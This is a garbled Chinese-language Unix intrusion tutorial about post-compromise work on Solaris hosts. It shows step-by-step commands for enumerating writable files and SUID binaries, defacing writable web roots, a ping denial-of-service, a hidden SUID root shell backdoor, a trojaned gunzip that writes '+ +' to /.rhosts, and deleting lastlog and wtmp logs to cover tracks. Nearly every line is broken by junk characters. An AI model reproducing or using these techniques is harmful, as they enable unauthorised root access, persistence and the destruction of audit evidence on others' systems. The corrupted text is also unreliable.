+ m: [) @- i1 X% k: P- ]+ B' {' d. I. c) R# ^! l
ox% mkdir .hide
: t, u! r, ^0 j; Y5 j% }1 p# U) P _3 o. G% Z; |3 j
ox% cd .hide& P' P% h: k' x* t7 ?
; C' o3 e" | C T$ Y7 q$ t$ O
ox% ls -ld `find / ( ( -type d -o -type f ) -a ( -perm -0002 -o -group 800# q2 ]" A9 Z- {7 u* k' [6 v
1 t! a5 T) `# Z+ {( \, A-a -perm -0020 ) ) -print` >.wr% Z2 Y8 L# j$ m* v
" I' ?( H X: Y" ^' M, L6 @
(samsa:wr=writables:可寫目錄、文件)
" c' H; [6 a5 q T. l
: V' j" X" X1 S1 Sox% grep '^d' .wr > .wd0 ?2 ?1 x+ U4 f0 A# z/ ]
$ i9 H6 \: c1 V* L9 ]( b" I2 E(samsa:wd=writable directories:目錄)
, `0 j7 U- X5 m0 {3 d9 T% g F- T( j0 I+ b+ ]
ox% grep '^-' .wr > .wf
l8 ^# l3 V3 c i7 i8 n
. l, a' K! q; M( T(samsa:wf=writable files:普通文件)1 T, V1 G' y9 k- j+ b9 t
9 j$ Z% u$ c/ B
ox% ls -l `find / ( -perm -4000 -a -user root ) -print` >.sr! k7 K( [ s8 h9 y% B* n& ~
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(samsa:sr=suid roots)
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2.1.1) 系統(tǒng)配置文件可寫:e.g.pam.conf,inetd.conf,inittab,passwd,etc.
6 W( T: w+ U: e; P9 P; _3 g, @& L/ Q6 k7 h! ?
2.1.2) bin 目錄可寫:e.g./usr/bin,/usr/local/bin,etc. (see:Trojan horses)! I* _0 D% Y: C$ \4 p+ I! g+ `
2 h Q5 _4 D8 d0 ]0 n2.1.3) log 文件可寫:e.g./var/adm/wtmp,/var/adm/messges,etc.(for track-erasing)( H5 k1 O, N5 H5 _" t( z
' d6 M& L: A$ h( E2.2) 篡改主頁 X( K" r- R: X
1 _6 L! m9 o0 _3 G! r
絕大多數(shù)系統(tǒng) http 根目錄下權(quán)限設(shè)置有誤！不信請(qǐng)看：8 f; ^8 Y. t- Q& L% [+ z0 N
# {7 d9 w. i, ^, R* p; U4 p& a0 @ox1% grep http /etc/inetd.conf
* D1 d3 N. p, a4 K, f3 D V7 Y+ \# U4 \
ox1% ps -ef | grep http
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http 7538 251 0 14:02:35 ? 0:02 /opt/home1/ofc/http/httpd/httpd -
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. O# q# i# I( |( {8 ?f /opt/home1/ofc/http/httpd/conf/httpd.conf
2 w& _; t% Z( t7 Q$ `6 o- P
M1 d5 h% c3 y$ b- A; @0 Ihttp 7567 251 0 15:16:46 ? 0:01 /opt/home1/ofc/http/httpd/httpd -1 y( T2 [( ~, ~4 Q
! W9 g* S$ H: }
f /opt/home1/ofc/http/httpd/conf/httpd.conf
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" v3 R ~ Y. Y0 L Zroot 251 1 0 May 05 ? 3:27 /opt/home1/ofc/http/httpd/httpd -
4 o7 [( E; q$ a
& M: a+ Z5 S; @+ C% A: of /opt/home1/ofc/http/httpd/conf/httpd.conf
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......* \& ^& e) {7 R; t* ?* n) `$ |
3 E4 W* z& `" V4 P) Uox1% cd /opt/home1/ofc/http/httpd8 L$ e, g# h1 @4 f- ^* r
% w- Z# l! [8 h6 `8 J; W5 Aox1% ls -l |more A+ t7 K% p2 N5 R- S
4 b( p! J* ~( v u, z! Y% e; @total 530; x0 t" R. M: W* Z
B# R2 u: ~6 B* F# \drwxrwxrwx 11 http ofc 512 Jan 18 13:21 English7 ^, u9 B) j$ v) K
+ ]$ m2 u; r" x! |: W% e" N-rw-rw-rw- 1 http ofc 8217 May 10 09:42 Welcome.html
2 `0 [( X- h7 N L1 ?! n0 f
3 e! M; T( t, |# E) S& M-rw-rw-rw- 1 http ofc 8217 May 10 09:42 Welcome.html
7 `' p, s8 d& F/ g; A. N$ g1 d9 _- c
drwxr-sr-x 2 http ofc 512 Dec 24 15:20 cgi-bin
: Z) J1 I. |6 [3 i6 H
) C" ^- t2 a1 O) j3 H$ Sdrwxr-sr-x 2 http ofc 512 Mar 24 1997 cgi-src- a) E/ n8 L8 M. R' Y' `' Q
. O9 M7 e, D m# @6 @drwxrwxrwx 2 http ofc 512 Jan 12 15:05 committee& ~5 `5 G2 e3 y1 h& C+ ]; C8 M
" J! ? i& Z! C) W4 k5 i. Y% }: Fdrwxr-sr-x 2 root ofc 512 Jul 2 1998 conf% t! ]1 H @, |" Y: i. U+ N
/ ~$ e# I4 k+ g# ]3 T
-rwxr-xr-x 1 http ofc 203388 Jul 2 1998 httpd
1 S9 b# ]( B2 g4 L, e$ R" i0 c% I1 S2 g) |9 U9 t# M
drwxrwxrwx 2 http ofc 512 Jan 12 15:06 icons
, a% n9 p6 ?' Q& ?% r* i' |" \$ _ G, X3 r
drwxrwxrwx 2 http ofc 3072 Jan 12 15:07 images
0 W" E- F* Q Y7 S" X
c9 p0 b0 @- `, b( r/ \4 Y4 I-rw-rw-rw- 1 http ofc 7532 Jan 12 15:08 index.htm, F% w# }+ p: C$ o
) m% j! K7 R% w3 Z- i2 P- Z
drwxrwxrwx 2 http ofc 512 Jan 12 15:07 introduction) \9 ~9 y: h- U' Z
6 _1 R6 B7 i" N. w$ X* h; zdrwxr-sr-x 2 http ofc 512 Apr 13 08:46 logs- B2 f4 g' Y/ N2 S
7 n8 W0 G1 p1 {4 D0 P7 q. P
drwxrwxrwx 2 http ofc 1024 Jan 12 17:19 research
% @: c. ?/ p# Y* o" R9 J6 Q2 k4 |
(samsa:哈哈?。〔畈欢嗳伎梢詫?，太牛了，改吧，還等什么？？）
1 Z. k! Z% X D3 k& M7 t9 T+ S A& C6 r9 z# I6 u
3) 拒絕服務(wù)（DoS:Denial of Service）7 G- D! K7 y* J& m) K) a2 r
+ X# z% Y7 s3 G6 z! {/ H
利用系統(tǒng)漏洞搗亂
: r- t& S0 ^( _7 t ~. M
/ w6 _) K6 {; f/ ]" U, [e.g. Solaris 2.5(2.5.1)下：
! l; v! W1 Y& P6 w
. |8 q; g( d5 P! M2 H% b/ c2 \$ ping -sv -i 127.0.0.1 224.0.0.1
: }1 l* m4 N4 ]# A8 ~0 g1 d. n) r: p7 b: _7 B0 {' ]
PING 224.0.0.1 56 data bytes
4 x. V1 B7 F" W/ q& x1 E: N3 _( j/ O s, U$ t. j
(samsa:于是機(jī)器就reboot樂,荷荷)5 Z7 _% n# x! ^ v4 t6 G4 g
5 U, ~4 Y! _& z0 t六、最后的瘋狂（善后）- X' K1 J! Q* b s' p
# A. m- h- w$ J; U- L0 h( j1) 后門9 `0 T7 ]/ R1 i& z& m, o
& b) F2 D6 v7 h$ c. h3 }e.g.有一次，俺通過改寫/.rhosts成了root，但.rhosts很容易被發(fā)現(xiàn)的哦，怎么9 R0 Z% |- V( E0 N; f& i* L
* m) T0 `" ]; e8 ^辦？留個(gè)后門的說：5 f6 t0 X) g9 {$ I) Z
2 b1 v; Q( o3 T* b% T& C& [& b# rm -f /.rhosts
" T. i# M! R* Q ~/ G: T% A3 d- S, w! M- ^3 M* W
# cd /usr/bin2 k" Q# `: U8 e8 B
" |" f& ]1 V$ k# f$ D# l
# ls mscl) z* b" S6 w) T& B. B8 C
) Y; P+ K& O; I4 s# ls mscl
" J9 {% }4 J: @1 m
1 W0 e9 D, D( b& R/ r/ tmscl: 無此文件或目錄
& u, A+ b( O% }* s# b* k7 b2 A1 R9 A9 P- i( _: n. @0 X7 o3 R( i
# cp /bin/ksh mscl
- W3 V* M: f: x" I' R
$ R: [5 A7 o; g3 D1 f+ }2 M# chmod a+s mscl
1 T }) L. q1 `4 O) Q% t r/ \2 c+ \: O( H: j
# ls -l mscl/ N0 g$ v& Q$ y" {6 f' T
3 ]7 V/ @: e$ U# x& m-r-sr-sr-x 1 root ofc 192764 5月 19 11:42 mscl
. \1 E9 Z+ [5 _3 y7 H' ~% \+ a( R, n _
以后以任何用戶登錄，只要執(zhí)行``/usr/bin/mscl''就成root了。
3 T& R# l9 A$ c6 t0 K4 M9 @/ X) A6 g
/usr/bin下面那一大堆程序，能發(fā)現(xiàn)這個(gè)mscl的幾率簡(jiǎn)直小到可以忽略不計(jì)了。: k8 @" C% H2 k& O# I$ q" q3 j9 O
+ o% e1 g, }) T3 _$ k2) 特洛伊木馬# D% ]# F1 h; C7 e A
5 Q' |0 a4 J9 Y
e.g. 有一次我發(fā)現(xiàn)：* f! p4 V/ Z7 N% w0 q* v/ E: ]3 U' _, Y1 ^
|# ~4 G1 [4 F4 v3 Z q3 S' I
$ echo $PATH
, @. K) q" ~ I
( i' S ?1 c. X+ q3 J/usr/sbin:/usr/bin:/usr/ccs/bin:/opt/gnu/bin:.
" A( R8 ~+ `! w! z. {
9 x* H/ R- E: B; H* A$ ls -ld /opt/gnu
- b, v5 C& G, Q2 N% n: M- l0 {
drwxrwxrwx 7 root other 512 5月 14 11:54 /opt/gnu
& v$ U9 c0 M8 k' b7 l" e: @) G! |* r3 u* e6 z5 e0 \, | u3 [
$ cd /opt/gnu' ?# k# d1 Y6 d5 ^
- A/ W2 H4 M X0 f/ j0 q+ }3 z
$ ls -l: L& P8 V g+ z' n
3 Q0 X& S) g" gtotal 24* e7 x* R: P8 ]
. Y% n2 ^" G8 r/ C1 e+ w: idrwxrwxrwx 7 root other 512 5月 14 11:54 .
2 R- O& l; K4 i! [9 f6 N1 u% W5 [& E
drwxrwxr-x 9 root sys 512 5月 19 15:37 ..& e( C+ y* h8 n0 t$ p
: S: X% ?: e5 v
drwxr-xr-x 2 root other 1536 5月 14 16:10 bin3 L/ t" |1 j7 p1 _' @- n
+ i0 {5 w. F9 S: `+ a3 \drwxr-xr-x 3 root other 512 1996 11月 29 include
. L5 w8 K4 w7 I2 ?! `9 d' |+ x t3 d* e) k3 V* l$ c
drwxr-xr-x 2 root other 3584 1996 11月 29 info
/ z+ v+ T( T/ o" E/ I) a v
0 ?4 j/ o' \/ C6 z9 Sdrwxr-xr-x 4 root other 512 1997 12月 17 lib
( R1 y9 v; s# j5 \. Y5 f7 g- J, y# B; b' j+ \9 j/ U
$ cp -R bin .TT_RT; cd .TT_RT
+ D% F+ }+ J M: _5 b# g6 m! {3 W+ k X' b
``.TT_RT''這種東東看起來象是系統(tǒng)的.../ F6 F: ]" ^ R4 `
2 G1 }$ h, @, X2 t6 p0 }1 B決定替換常用的程序gunzip
1 ~9 ]. B) L5 {0 c; i- o
: c/ @* Z3 I+ H3 i5 Z0 h8 \$ mv gunzip gunzip:" A" [$ ~% l8 L8 K, i' e
7 O+ y) ]& D4 J N& c4 @$ cat > toxan4 z2 W6 `2 I) ? g7 t
5 l- \" K d- V5 s. \% D& H: b+ @#!/bin/sh
6 q5 T/ ]$ y/ ~, u# A' T
7 [3 U6 K) E/ ^9 b7 kecho "+ +" >/.rhosts
! M- |1 u6 o6 w5 {; {( [1 V9 Y1 z& f. a2 H
^D& I8 f, P+ p6 s( _4 N. n1 k) ]
0 w5 E* v: p% f! i$ cat > gunzip2 u, h$ d! D' {: o! B9 u; `5 z
# u1 F& J4 D; }+ gif [ -f /.rhosts ]2 U+ L2 K7 f; c# n5 n) O+ g
7 k: b1 R* M) z9 k2 a; l4 k Z# j" }6 K
then A2 E6 p+ A1 b4 A" `
: A& X8 l% h5 s' P6 M/ Nmv /opt/gnu/bin /opt/gnu/.TT_RT
, e8 i$ e# y- U, s1 n# O, F7 O& }' Z% J( i0 Y' r
mv /opt/gnu/.TT_DB /opt/gnu/bin+ N8 C# A' m0 }" r$ ?8 V* S
: m: M0 B1 a8 l- d/opt/gnu/bin/gunzip $*
# J) V2 Y" k+ x, v9 F6 F
& |* {4 \# b- |+ q% B$ x) C$ [, Qelse9 M7 f/ C( Y) t/ X
* \; W. t6 m) Y o/opt/gnu/bin/gunzip: $*
3 B$ q4 C- ]$ d2 Q! \2 O1 W, `, z# l0 E; |7 J+ h. H
fi/ }# \" o) s: }" a* P8 Q8 |
6 F! Y. i! M1 m& `1 Efi, i0 W! T& R \& s9 t
$ P: M5 |) |+ f# j S2 Q; Z6 j^D* R% p+ s" B4 b# R
. B D5 @3 a, D& f# ?; o: @
$ chmod 755 toxan gunzip6 ~# h. Q! s. t" F
' ^, F/ B L9 T$ cd ..
" g/ n$ \9 V3 [. O# N: V6 N, a- }" ]; z- u8 q! ]
$ mv bin .TT_DB
# k: m, I9 M4 A+ O
6 d$ i7 u \# y: p" K. l$ mv .TT_RT bin+ |' M7 d9 Z% q7 v$ l$ \
# |/ q+ J! g7 T$ ls -l
+ u, f+ _5 c% ?" H. Z$ @: z" K" X# T; _3 J! v$ j I
total 16, r. ]1 |" f+ g3 k
: k( y5 V0 J9 v/ p, vdrwxr-xr-x 2 zw staff 1536 5月 14 16:10 bin
b) [9 I0 _1 \0 }/ T5 A" ]$ R' [" y: N" Z) M5 r8 t5 Q
drwxr-xr-x 3 root other 512 1996 11月 29 include
) y( { O6 U5 t, z+ ?! w$ i9 X( Y$ R3 C2 k# X/ ^- ~3 u4 l& f
drwxr-xr-x 2 root other 3584 1996 11月 29 info
% |' O# X' w& P5 }# _% {& e" e5 n
drwxr-xr-x 4 root other 512 1997 12月 17 lib
/ P6 @+ S* T. }. Y, y* T, |" W' I# V: Y) k
$ ls -al: ^+ C& E% c6 B/ D9 |6 i
2 ?% e5 `( T6 G* ?3 u& ntotal 24/ e0 p7 \7 F" o X
6 O) f4 l) q1 j% W# }- P$ Z
drwxrwxrwx 7 root other 512 5月 14 11:54 .) T: B2 r. U' {0 M7 `4 u( E
; ^9 u/ }6 i4 ?( j% p6 q7 Ldrwxrwxr-x 9 root sys 512 5月 19 15:37 ..
- E: n5 h% z9 u+ {: j" V6 i
2 X t9 f. v$ q L* `drwxr-xr-x 2 root other 1536 1998 11月 2 .TT_DB
) \7 f u$ X' e& J5 E
' V. A- _0 u) _" Q Ldrwxr-xr-x 2 zw staff 1536 5月 14 16:10 bin
( f6 ^% i: O5 x8 _' @5 a( t7 U' F2 W) L* F) [" r0 a' G
drwxr-xr-x 3 root other 512 1996 11月 29 include
( J, c$ S/ r( F( n) o2 v3 c, U
% z. H5 R: w0 f5 c( v+ z' Ldrwxr-xr-x 2 root other 3584 1996 11月 29 info" C. Y+ D( O1 _* v o2 x
6 u6 A% r' _) w. }
drwxr-xr-x 4 root other 512 1997 12月 17 lib; J# L& h' s5 p4 A; }4 D' J
& r, s5 D' e5 r- L. Q# s雖然有點(diǎn)暴露的可能(bin的屬主竟然是zw!!!)，但也顧不得了。$ b5 V4 R( H% }, K1 A$ v
5 Y, t8 S2 J( k. k0 U$ J0 g. d4 l
盼著root盡快執(zhí)行g(shù)unzip吧...
; b8 P9 g! E. b9 _2 G3 y/ f
7 T' r3 B: [4 a( G. e# _過了兩天：( j7 ^! J7 K; Q, X; V
) C7 I( ?/ A F2 Q! F1 G
$ cd /opt/gnu/ X m* i6 @, ~
" U2 b# L6 Q1 P$ x$ _ C! x$ ls -al) d4 S3 q0 I7 ^9 \3 \* I% _' F4 t
' V3 o A2 T$ z6 L5 @: ^5 m
total 24( q& Q) \; X/ L( ^) p5 q
* z9 X7 S4 c& ?/ Kdrwxrwxrwx 7 root other 512 5月 14 11:54 .* {- r, ^4 n' M- }2 f# h) ?( e ^
% K$ ^ f( v4 ^/ H% ydrwxrwxr-x 9 root sys 512 5月 19 15:37 ..
$ G6 S) c$ G% D/ g! `2 z- C' }
drwxr-xr-x 2 zw other 1536 1998 11月 2 .TT_RT
6 M: m. T/ N6 c5 }* D8 G% R: U- ~+ S0 z, }" T# v( g3 m1 Q
drwxr-xr-x 2 root staff 1536 5月 14 16:10 bin
8 k* u. r X/ @ X
) z$ M0 k# L8 m- T0 {; V z( `4 ddrwxr-xr-x 3 root other 512 1996 11月 29 include2 m; b2 U2 ^7 I
' x, b# j1 b) o' ~+ r9 gdrwxr-xr-x 2 root other 3584 1996 11月 29 info
) W' i% y: f4 h9 l' c, F, I
9 c5 e7 s c9 |1 u# wdrwxr-xr-x 4 root other 512 1997 12月 17 lib
8 u$ m7 |/ V% T6 a9 `1 v
' X: M1 g4 u. n(samsa:bingo!!!有人運(yùn)行俺的特洛伊木馬樂...)
6 O) B: V' I8 t6 d$ K
; U+ C9 @9 o2 N# p9 L; p$ ls -a /% |! a0 E K4 D# r/ e1 t2 g2 B
1 B1 v1 k5 y4 C4 C* R I! N" h(null) .exrc dev proc1 g& {$ V5 L9 I! Q, [
- M) ~7 _- I2 p6 {# Y% i! {.. .fm devices reconfigure8 w' p- {3 ?5 w: Z
- ^3 B3 \$ l/ ~. x/ l5 q
.. .hotjava etc sbin
P( a. ^- s i0 Y9 d9 R1 w
& |, Q0 _0 _) d6 g) o, X( X% x; v..Xauthority .netscape export tftpboot
1 O/ y% F- A( ^1 r, x+ D3 b" h6 G9 Y3 f8 k0 ?8 y4 w
..Xdefaults .profile home tmp
2 L7 w6 u& M2 A1 n8 u
; n+ l9 V% r' h5 @5 Q7 c..Xdefaults .profile home tmp
$ I# R' z! _- Y, @3 |4 `/ U4 U5 `& r% G/ c; i# G0 ^
..Xlocale .rhosts kernel usr$ B: l+ T6 V+ r+ f+ K7 @
$ w H% a: ?- G
..ab_library .wastebasket lib var3 C2 t! a$ M" \. C# p: l
# x8 Q' \& k3 z' F! Y......
# I& }( z: g: u* w R" w1 a0 }' J
6 o/ B( n2 x" Q6 |$ j+ W8 p9 |$ cat /.rhosts+ y' Z* A0 b0 m
4 c; ^- O5 e" T7 S* a$ a
+ +8 m9 {8 Q* ~0 _ L: ?7 N
' \9 P6 B& S" B( w1 I
$
/ h: z. w: P- S+ i* a/ ?0 E$ p" D
2 e- E% R" u# w m2 v(samsa:下面就不用 羅嗦了吧？）
. `- {, p8 g& w" v8 {8 t! n. [& M4 R& ?% O8 z. f/ q B
注：該結(jié)果為samsa杜撰，那個(gè)特洛伊木馬至今還在老地方靜悄悄地呆著呢，即無人發(fā)" d: T* u: T- h k7 O) T$ T) V
3 c+ \4 U6 R. e! q
現(xiàn)也沒人光顧??！——已經(jīng)20多年過去了耶....+ X! G# B8 d' p. n! Q7 H; B
" n4 X: p% @2 m' r- h _% W
3) 毀尸滅跡. I3 }2 X+ b; b
* q, S! x( e8 c3 p
消除掉登錄記錄：0 ]! j0 f/ x4 R( k
, y f! q: E) m! k
3.1) /var/adm/lastlog2 O/ l* ^# P( y. P3 d% c# j! ]
, W: p0 m. W; k$ c# ~+ l+ H) S. V, `& A# Q
# cd /var/adm
6 W: Z) j9 K! k3 w5 ?; k$ S* X
2 x0 r' K. e) T* i# ls -l
! {, K$ Z& p* v" i8 _: j
; O8 l# b5 F: I9 M( v9 N總數(shù)73258
b- a: `4 f& k+ ]$ |
4 F# e2 O# X" ^, s) s% \-rw------- 1 uucp bin 0 1998 10月 9 aculog& g4 g& e! D; w; k; X# j
" Z6 P9 o/ S8 j4 A) i7 T# k
-r--r--r-- 1 root root 28168 5月 19 16:39 lastlog
! t& _: H1 L( s% n: {5 B7 h6 ^0 A& n% F# Q
drwxrwxr-x 2 adm adm 512 1998 10月 9 log
- {0 O! n3 Y0 s, w$ H7 w* q2 e9 C% R
-rw-r--r-- 1 root root 30171962 5月 19 16:40 messages! ~, e+ a2 A: n o; K" V
; m3 M; ~/ o6 U1 u5 Zdrwxrwxr-x 2 adm adm 512 1998 10月 9 passwd) v% q" s) D. l( P
; F- M+ ~5 k- R. ~8 y* `7 `/ ~8 \8 z-rw-rw-rw- 1 bin bin 0 1998 10月 9 spellhist
& X8 C1 ^* ] F2 `
9 I7 W, f ?( t0 J: f& C y-rw------- 1 root root 6871 5月 19 16:39 sulog8 o0 k$ ^ ^0 q
) p2 a! i) k' @. r-rw-r--r-- 1 root bin 1188 5月 19 16:39 utmp: ^/ [- H8 b- x7 m+ R4 F- e
) ]) d- K1 j/ X8 ~
-rw-r--r-- 1 root bin 12276 5月 19 16:39 utmpx
a( u7 a Z n! j! G5 t p! N, t: f2 U: l( r# o7 ~
-rw-rw-rw- 1 root root 122 1998 10月 9 vold.log* I% C- f- R( H0 C9 J L$ X9 k- s
/ Y; L: K: F+ l0 Q
-rw-rw-r-- 1 adm adm 3343551 5月 19 16:39 wtmp) ]- o7 C0 V1 e3 u1 U) E& Q3 ~
4 I& y v+ Y9 J' `' y) N, u-rw-rw-r-- 1 adm adm 7229076 5月 19 16:39 wtmpx
$ {$ }: b! \2 R% t& \) O. Q
. Y* P2 N( I7 |& k# ?為了下次登錄時(shí)不顯示``Last Login''信息（向真正的用戶顯示）：
3 C) L/ E' p6 o- Q- w ]; f H: |+ ~+ |/ ?( z( {& l2 G
# rm -f lastlog' [2 s. U0 }( H/ V& g9 c) k, c) `
" n6 E3 @! B: p
# telnet victim.com
9 g, w: I5 S. ~( ~2 W
* P; t) u3 Y T* H' b4 RSunOS 5.7
. S, H% z7 O- D; [' x
; X1 s+ m8 I& }5 k* z2 K8 vlogin: zw% Y+ g3 u' B+ t/ q5 A2 C; w
, {* E9 a" x* Q7 X( b; ~. vPassword: R8 M7 V0 ]% U' Q ^! m" T/ [
! o: m5 W2 N( I2 VSun Microsystems Inc. SunOS 5.7 Generic October 1998! J9 q, g1 z2 g1 b
1 e% H) }" ~* z c) e" ~$
) c- C, b) p3 G1 _( K4 M
% H5 u# g" J3 L! X(比較： a: o; G2 D5 G0 v6 r( V& `
0 v8 Z+ O" U0 y6 l
(比較：
! O# ~1 r9 U" E5 D# o4 x9 a; |$ h) W6 R: p/ f$ k
SunOS 5.7
0 B9 d- A4 ?% p+ y# p
0 Q" `, ]/ z. X2 Flogin: zw
& C8 h5 d2 N# V9 d6 j" n- Z: G B$ E
Password:
$ z9 J* N N( |5 @( W6 C r+ ~
Last login: Wed May 19 16:38:31 from zw
3 M1 k; P% y l3 d8 P; d: W* M
5 s9 b2 i. l6 m1 b3 U: L% ^Sun Microsystems Inc. SunOS 5.7 Generic October 1998
: G8 v7 I- @( P5 d) x+ v1 T" [1 |8 H4 ?0 C% \5 S5 V. D% m/ @
$
5 l; P5 I. ]; Z1 I
* [7 @2 k$ \! e說明：/var/adm/lastlog 每次有用戶成功登錄進(jìn)來時(shí)記一條，所以刪掉以后再3 }5 h" U$ z, _$ e Z8 y$ O3 _
8 n7 Y9 u2 i3 m; K. @登錄一次就沒有``Last Login''信息，但再登一次又會(huì)出現(xiàn)，因?yàn)橄到y(tǒng)會(huì)自動(dòng)3 _3 e" v0 Z7 q ~ Z d
- E3 X% x7 K' f; U/ t r( m重新創(chuàng)建該文件）0 Q- A& |4 R- M! I' Q y/ C, [6 P
7 T: z1 f6 P" V; T0 R3.2) /var/adm/utmp，/var/adm/utmpx /var/adm/wtmp，/var/adm/wtmpx! z; p2 d7 M& e, l, P
. n6 ?% m0 ]8 y7 M; j `
utmp、utmpx 這兩個(gè)數(shù)據(jù)庫文件存放當(dāng)前登錄在本機(jī)上的用戶信息，用于who、& v2 h: P- a, {
4 f( F2 i8 ^* P9 M+ P/ b
write、login等程序中；6 m- F* m7 \) I8 _$ I5 n, n3 m
! i' h0 l" H2 d! p- P/ X
$ who
8 F \4 U& r0 V; }& E+ T5 R; T1 q- g, Z! b
wsj console 5月 19 16:49 (:0)
+ N4 n" U( x6 [2 }2 H- U
# @- }& p( }/ r0 m T$ f0 Fzw pts/5 5月 19 16:53 (zw)0 H( o4 t" i0 B; v6 H; B
1 |. n6 Z: w- S* n
yxun pts/3 5月 19 17:01 (192.168.0.115)' ^% R: e1 ~+ J2 a+ g
! r* ^4 j, [ J9 ?1 l' Mwtmp、wtmpx分別是它們的歷史記錄，用于``last''' Z5 ^" Y5 g+ x' e: x6 f
- Z5 C" ]3 }" L! y: C命令，該命令讀取wtmp(x)的內(nèi)容并以可理解的方式進(jìn)行顯示:
/ x' U; B# a; J5 k- H9 M; c+ m9 N" Y" s8 I" i
$ last | grep zw1 j% x+ e7 N" d/ H1 a5 r1 y
2 ?+ x* u* E# e5 R7 @1 W
zw ftp 192.168.0.139 Fri Apr 30 09:47 - 10:12 (00:24)7 s, O! d7 n7 e- \" w8 p
m t: y7 e6 ? Czw pts/1 192.168.0.139 Fri Apr 30 08:05 - 11:40 (03:35)
' N3 m: I- J) J6 t0 |* r+ M9 k/ P6 V9 e6 o% G) ^
zw pts/18 192.168.0.139 Thu Apr 29 15:36 - 16:50 (01:13)
! u: @" I: f0 t! `7 [7 N; \1 e% S( Z( U2 g
zw pts/7 Thu Apr 29 09:53 - 15:35 (05:42)) T6 a8 e+ L& C
3 f# d8 Q+ G; h: F0 o. u, _zw pts/7 192.168.0.139 Thu Apr 29 08:48 - 09:53 (01:05)
) e. w0 |; z& B% A
% M$ @" E$ M' z& M w) N0 izw ftp 192.168.0.139 Thu Apr 29 08:40 - 08:45 (00:04)3 C2 ]* {# F$ q9 z' {3 P" v5 e
& L. g5 d! X! C( z3 _* F2 s& [zw pts/10 192.168.0.139 Thu Apr 29 08:37 - 13:27 (04:49)$ t- C& p3 P' d5 R) v' X
6 V# ?" }7 R) I6 r& R( D......
( Q; n6 w! Q2 M" f6 E6 Z+ L: }) ^: {/ ~
utmp、wtmp已經(jīng)過時(shí)，現(xiàn)在實(shí)際使用的是utmpx和wtmpx，但同樣的信息依然以舊的
; V) w c* v r! g; A: u# y; U p' y
格式記錄在utmp和wtmp中，所以要?jiǎng)h就全刪。) z. ^8 x- \+ }
; M; ~9 m2 \$ b p+ i6 n4 W# rm -f wtmp wtmpx/ C# u( }% I3 f
/ [- W" Z, K& @- z
# last; b |8 f+ E; ^& G0 m H$ G: J5 u
9 n; b% n2 S( Z: m+ t1 Q/var/adm/wtmpx: 無此文件或目錄
- {3 N7 d( I! T, h5 B$ X ]* b
( H0 `/ V9 e, C; o( H# P6 q3.3) syslog
- i0 c5 C7 v7 U; o! ~4 ?- t
: w( K/ g. d* t! C4 F% w, Jsyslogd 隨時(shí)從系統(tǒng)各處接受log請(qǐng)求，然后根據(jù)/etc/syslog.conf中的預(yù)先設(shè)定把5 \1 o6 W% y* m& q
3 g) c) l4 \. s/ {, ilog信息寫入相應(yīng)文件中、郵寄給特定用戶或者直接以消息的方式發(fā)往控制臺(tái)。+ G9 M$ f5 i3 M5 t
, i9 `/ a2 B) s. M1 f; Q始母?囟ㄓ沒Щ蛘咧苯右韻?⒌姆絞椒⑼?刂鋪ā? p" o- v( X4 N! ?9 ^' Z
: ` B- T; w6 w, B; J
不妨先看看syslog.conf的內(nèi)容：
8 z( [$ ^$ \) P7 F! a3 @9 V) n/ y# T) t* D! @1 F
---------------------- begin: syslog.conf -------------------------------8 x2 g" l) R' c0 D$ v/ I% q
' c7 I; o( M$ J& U/ y- S6 v
#ident "@(#)syslog.conf 1.4 96/10/11 SMI" /* SunOS 5.0 */
3 ^, s, x1 \/ p
! @+ c4 I( B+ J- @0 C# R' h [#
* s' \" ^) M* f% R: V
: Q! u6 A& o! U# Copyright (c) 1991-1993, by Sun Microsystems, Inc.
7 A2 X& {) v5 y
" j `! K/ a2 _ `& {#
8 g. E- x3 `% W! b& s8 b' y* t$ U1 E# r3 S! k8 U0 y7 ?6 F6 R
# syslog configuration file.
9 F+ W) q8 m6 _2 M, F6 Z7 P1 T; M( F1 P+ F, @# s+ v" r
#6 q, L4 G* K1 a% t. f
; Z/ `) ?- ] o8 h$ f3 M; m*.err;kern.notice;auth.notice /dev/console
" f5 P5 d; l1 |$ o; |3 `0 F+ r2 e7 Z: j5 `$ g- E. D6 d
*.err;kern.debug;daemon.notice;mail.crit /var/adm/messages
! X! N& ]& [5 i0 A, P) R
) a; F; |, G4 O7 D: H*.alert;kern.err;daemon.err operator
. n0 e/ ^! I, |, d2 N
) e3 o. q y3 l- M: |3 T*.alert root
# i" ?7 |+ E3 \2 D' W \) L( H, i' [
......
. W% b, L6 I2 _( T/ a
3 s: T r2 e+ v/ T2 `- |2 u( G, R' _---------------------- end : syslog.conf -------------------------------
1 D% w' F$ i C- D5 M' I! _, `
4 Q; _# U2 \/ [6 x- s``auth.notice''這樣的東東由兩部分組成，稱為``facility.level'',前者表示log
2 \$ Y6 q4 b( |9 _: p# x: w/ f) ?+ C) T- Z3 r" L9 Y6 C; j
信息涉及的方面，level表示信息的緊急程度。- v# p% a5 f1 V/ H
/ M8 R8 { z) _% D* m5 X
facility 有：user,kern,mail,daemon,auth,lpr,news,uucp,cron,etc...
4 t* V# h5 ~% ?4 L, d9 A: F9 C, l
- `9 \ N0 j" G) ?: y6 ?- L. h7 b+ klevel 有：emerg,alert,crit,err,warning,info,debug,etc...(緊急程度遞減)1 M! c! x) K1 c1 z
! r2 V+ B" K) E: m, X+ x一般和安全關(guān)系密切的facility是mail,daemon,auth etc...# h+ T6 Q5 o# s
: }4 I- @' P7 s
,daemon,auth etc...) S m- |2 u5 X5 p; X
9 c, y1 u- a! O. E- z而這類信息按慣例通常存放在/var/adm/messages里。
( r- ~& P9 p, N, C: J: x- D3 m2 g9 j, d; I M
那么 messages 里那些信息容易暴露“黑客”痕跡呢？/ \7 c* n z# |6 d
$ G, g1 G5 h- Z7 ? j
1，"May 4 08:48:35 numen login: REPEATED LOGIN FAILURES ON /dev/pts/9 FROM sams+ d9 h7 o4 K+ \' Z0 o4 r, s$ O
) E7 k) ~1 n1 F" z8 b$ l
"! Y7 H- B0 c* w
, ?3 k7 q6 k. }+ @* T% u
重復(fù)登錄失??！如果你猜測(cè)口令的話，你肯定會(huì)經(jīng)歷很多次這樣的失??！ u, R% a6 z* s: x* W4 N' Z, j
6 ]8 T; M( M+ B1 M不過一般的UNIX系統(tǒng)只有一次telnet session連續(xù)登錄5次失敗才會(huì)記這么一條，所以
) J/ ? N4 M8 e8 C+ ^: w5 n$ U" x$ p \: c$ n
當(dāng)你4次嘗試還沒成功，最好趕緊退出，重新telnet...9 ?8 ], W7 v, y- `+ r! P2 |
! C( h8 I# q# A {
2，"May 5 10:30:35 numen su: 'su root' failed for cxl on /dev/pts/15"
